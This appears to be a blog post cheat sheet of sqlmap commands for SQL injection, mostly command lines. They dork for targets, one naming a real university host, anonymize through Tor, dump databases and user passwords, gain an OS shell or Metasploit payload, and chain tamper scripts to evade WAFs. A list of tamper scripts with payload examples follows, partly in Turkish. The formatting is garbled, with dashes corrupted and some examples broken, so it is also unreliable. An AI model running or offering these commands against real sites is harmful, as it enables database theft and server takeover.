What is SQLmap?
SQLmap It is one of the best known tools to carry out attacks SQLi (SQL Injection) written in Python. SQLmap is responsible for making requests to the parameters of a URL that are indicated to it, whether through a GET, POST request, in cookies, etc. It is capable of exploiting all types of SQLi such as union-base, time-base-blind, base-blind-injection, heavy-queries, etc.
I will briefly indicate commands which you will use most when carrying out pentesting with SQLmap.
Search for SQL Injection on a specific website:
text
./sqlmap.py -g «inurl:ednolo.alumnos.upv.es*php? site:es» –batch –beep –dbs –random-agentExactly the same as the previous one, but this time we connect through Tor.
text
./sqlmap.py -g "inurl:<url>*php? site:es" --dbs --random-agent --tor --check-tor –tor-type=SOCKS5We check if the website is vulnerable, it will show us the databases and the banner.
text
./sqlmap.py -u <url> –check-tor –tor –tor-type=SOCKS5 –time-sec=25 –threads 5 –random-agent –dbs –banner –beepWe show <database> tables with 5 threads
text
./sqlmap.py -u <url> –check-tor –tor –tor-type=SOCKS5 –time-sec=25 –threads 5 –random-agent -D <database> –tablesWe show the columns of the <database> and <Table>
html
./sqlmap.py -u <url> –check-tor –tor –tor-type=SOCKS5 –time-sec=25 –threads 5 –random-agent -D <database> -T <table> –columnsWe perform a DUMP of the database, table and column indicated
html
./sqlmap.py -u <url> --check-tor --tor --tor-type=SOCKS5 --time-sec=25 --threads 5 --random-agent -D <database> -T <table> -C <column> --dumpIf we want to dump different columns, we separate them by commas.
html
./sqlmap.py -u <url> --check-tor --tor --tor-type=SOCKS5 --time-sec=25 --threads 5 --random-agent -D <database> -T <table> -C <column1,column2> --dump –batchWe perform DUMP of all databases
text
./sqlmap.py -u <url> --check-tor --tor --tor-type=SOCKS5 --time-sec=25 --threads 5 --random-agent -D <database> --tables --dump-all --batchCheck which user the queries are being executed with.
text
./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –current-userFind out if the user they are with running queries is database administrator
text
./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –is-dba –current-dbFind out What privileges does the user with whom the queries are being executed have?
text
./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –privilegesShow all users
text
./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –usersGet user passwords from the database
text
./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –passwordSearch characters in databases
text
./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 -C <BUSCAR> –searchIncrease uploader (sqlmap file uploader)
text
./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –os-shellCreate a playloads with metasploit
text
./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –os-pwnBypass MySQL with chardoubleencode.py
text
./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –dbms «MySQL» -p «fd» –tamper «chardoubleencode.py» –dbsBypass MySQL with spacemysqlblank.py
text
./sqlmap.py –tor –tor-type=SOCKS5 -u <url> –time-sec=25 –threads 5 –dbms «MySQL» –technique U -p id –tamper «space2mysqlblank.py«bypass ALL
CODE
text
./sqlmap.py --tor --tor-type=SOCKS5 -u <url> --time-sec=25 --threads 5 --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursive replacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhas h,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywordsbypass MSSQL
CODE
text
./sqlmap.py --tor --tor-type=SOCKS5 -u <url> --time-sec=25 --threads 5 --level=5 –risk=3 tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotesbypass MYSQL
CODE
text
./sqlmap.py --tor --tor-type=SOCKS5 -u <url> --time-sec=25 --threads 5 --level=5 –risk=3 tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
All scripts for BYPASS
CODE
Bash
apostrophemask.py (UTF-8)
Ornek:
*Orjinal Komut: AND '1'='1'
* Komutu Bypass: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87
apostrophenullencode.py (unicode)
Ornek:
*Orjinal Komut: AND '1'='1'
* Komutu Bypass: AND %271%27=%271%27
appendnullbyte.py()
Ornek:
*Orjinal Komut: AND 1=1
* Komutu Bypass: AND 1=1
Platform:
*Microsoft Access
base64encode.py (base64)
Ornek:
*Orjinal Komut: 1' AND SLEEP(5)#
* Komutu Bypass: MScgQU5EIFNMRUVQKDUpIw==
between.py(“not between” “>”)
Ornek:
*Orjinal Komut: 'A > B'
* Komutu Bypass: 'A NOT BETWEEN 0 AND B'
bluecoat.py (“like” “=”)
Ornek:
*Orjinal Komut: SELECT id FROM users where id = 1
* Komutu Bypass: SELECT%09id FROM users where id LIKE 1
Platform:
* MySQL 5.1, SGOS
chardoubleencode.py
Ornek:
*Orjinal Komut: SELECT FIELD FROM%20TABLE
* Komutu Bypass: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
charencode.py
Ornek:
*Orjinal Komut: SELECT FIELD FROM%20TABLE
* Komutu Bypass: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
charunicodeencode.py
Ornek:
*Orjinal Komut: SELECT FIELD%20FROM TABLE
* Komutu Bypass: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0 044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
Platform:
*ASP
* ASP.NET
equaltolike.py(“like” “=”)
Ornek:
*Orjinal Komut: SELECT * FROM users WHERE id=1
* Komutu Bypass: SELECT * FROM users WHERE id LIKE 1
halfversionedmorekeywords.py
Ornek:
* Orjinal Komut: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
* Komutu bypass: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
Platform:
* MySQL < 5.1
ifnull2ifisnull.py (“IF(ISNULL(A), B, A)” “IFNULL(A, B)”)
Ornek:
*Orjinal Komut: IFNULL(1, 2)
* Komutu Bypass: IF(ISNULL(1), 2, 1)
Platform:
*MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)
modsecurityversioned.py
Ornek:
*Orjinal Komut: 1 AND 2>1--
* Komutu Bypass: 1 /*!30000AND 2>1*/--
Platform:
*MySQL
modsecurityzeroversioned.py (“0000”)
Ornek:
*Orjinal Komut: 1 AND 2>1--
* Komutu Bypass: 1 /*!00000AND 2>1*/--
Platform:
*MySQL
multiplespaces.py
Ornek:
*Orjinal Komut: UNION SELECT
* Komutu Bypass: UNION SELECT
nonrecursivereplacement.py
Ornek:
*Orjinal Komut: 1 UNION SELECT 2--
* Komutu Bypass: 1 UNUNION SELSELECTECT 2--
percentage.py(“%”)
Ornek:
*Orjinal Komut: SELECT FIELD FROM TABLE
* Komutu Bypass: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Platform:
*ASP
randomcase.py
Ornek:
*Orjinal Komut: INSERT
* Komutu Bypass: INSERT
randomcomments.py
Ornek:
'INSERT' becomes 'IN/**/S/**/ERT'
securesphere.py
Ornek:
*Orjinal Komut: AND 1=1
* Komutu Bypass: AND 1=1 and '0having'='0having'
sp_password.py (“sp_password”)
Ornek:
*Orjinal Komut: 1 AND 9227=9227--
* Komutu Bypass: 1 AND 9227=9227--sp_password
Platform:
*MSSQL
space2comment.py
Ornek:
*Orjinal Komut: SELECT id FROM users
* Komutu Bypass: SELECT/**/id/**/FROM/**/users
space2dash.py(“--”)
Ornek:
*Orjinal Komut: 1 AND 9227=9227
* Komutu Bypass: 1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227
Platform:
*MSSQL
*SQLite
space2hash.py
Ornek:
*Orjinal Komut: 1 AND 9227=9227
* Komutu Bypass: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Platform:
*MySQL
space2morehash.py
Platform:
* MySQL >= 5.1.13
space2mssqlblank.py
Ornek:
*Orjinal Komut: SELECT id FROM users
* Komutu Bypass: SELECT%08id%02FROM%0Fusers
Platform:
*Microsoft SQL Server
space2mssqlhash.py
Ornek:
*Orjinal Komut: 1 AND 9227=9227
* Komutu Bypass: 1%23%0A9227=9227
Platform:
*MSSQL
*MySQL
space2mysqlblank.py
Ornek:
*Orjinal Komut: SELECT id FROM users
* Komutu Bypass: SELECT%0Bid%0BFROM%A0users
Platform:
*MySQL
space2mysqldash.py
Ornek:
*Orjinal Komut: 1 AND 9227=9227
* Komutu Bypass: 1--%0AAND--%0A9227=9227
Platform:
*MySQL
*MSSQL
space2plus.py (“+”)
Ornek:
*Orjinal Komut: SELECT id FROM users
* Komutu Bypass: SELECT+id+FROM+users
space2randomblank.py
Ornek:
*Orjinal Komut: SELECT id FROM users
* Komutu Bypass: SELECTridtFROMnusers
unionalltounion.py (“union all” “union”)
Ornek:
*Orjinal Komut: -1 UNION ALL SELECT
* Komutu Bypass: -1 UNION SELECT
unmagicquotes.py (“%bf%27” “--”)
Ornek:
*Orjinal Komut: 1' AND 1=1
* Komutu Bypass: 1%bf%27 AND 1=1--%20
versionedkeywords.py
Ornek:
*Orjinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Komutu Bypass: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Platform:
*MySQL
versionedmorekeywords.py
Ornek:
*Orjinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Komutu Bypass: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!I FNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Platform:
* MySQL >= 5.1.13All the best.
:wq!
Comments